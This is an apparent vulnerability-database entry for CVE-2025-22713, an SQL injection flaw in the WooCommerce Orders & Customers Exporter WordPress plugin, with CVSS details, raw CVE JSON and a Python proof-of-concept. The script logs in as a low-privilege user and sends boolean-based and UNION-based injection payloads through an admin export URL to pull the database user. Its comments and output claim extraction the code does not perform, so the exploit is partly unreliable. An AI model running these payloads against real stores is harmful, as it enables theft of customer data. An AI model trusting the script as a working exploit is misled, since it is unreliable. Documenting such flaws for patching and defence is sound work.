Security Vulnerability Report
中文
CVE-2025-22713 CVSS 8.5 HIGH

CVE-2025-22713

Published: 2026-01-08 10:15:48
Last Modified: 2026-04-27 19:16:12

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in vanquish WooCommerce Orders & Customers Exporter woocommerce-orders-ei allows SQL Injection.This issue affects WooCommerce Orders & Customers Exporter: from n/a through <= 5.4.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

WooCommerce Orders & Customers Exporter <= 5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-22713 SQL Injection PoC # Target: WordPress with WooCommerce Orders & Customers Exporter <= 5.4 import requests import sys target = "http://target-wordpress-site.com" # Authentication with low-privilege account username = "attacker" password = "password123" # Login to WordPress session = requests.Session() login_url = f"{target}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # SQL Injection payload - Boolean-based blind injection # Extracting database user() value sql_payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" exploit_url = f"{target}/wp-admin/admin.php?page=wc-order-export&action=export&format=csv&order_ids={sql_payload}" response = session.get(exploit_url) print(f"Status: {response.status_code}") print(f"Response length: {len(response.text)}") # Union-based injection payload union_payload = "-1' UNION SELECT 1,2,3,4,5,user(),7,8,9,10-- -" exploit_url2 = f"{target}/wp-admin/admin.php?page=wc-order-export&action=export&format=csv&order_ids={union_payload}" response2 = session.get(exploit_url2) print("Extracted data in response")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22713", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:47.850", "lastModified": "2026-04-27T19:16:11.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in vanquish WooCommerce Orders & Customers Exporter woocommerce-orders-ei allows SQL Injection.This issue affects WooCommerce Orders & Customers Exporter: from n/a through <= 5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-orders-ei/vulnerability/wordpress-woocommerce-orders-customers-exporter-plugin-5-4-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}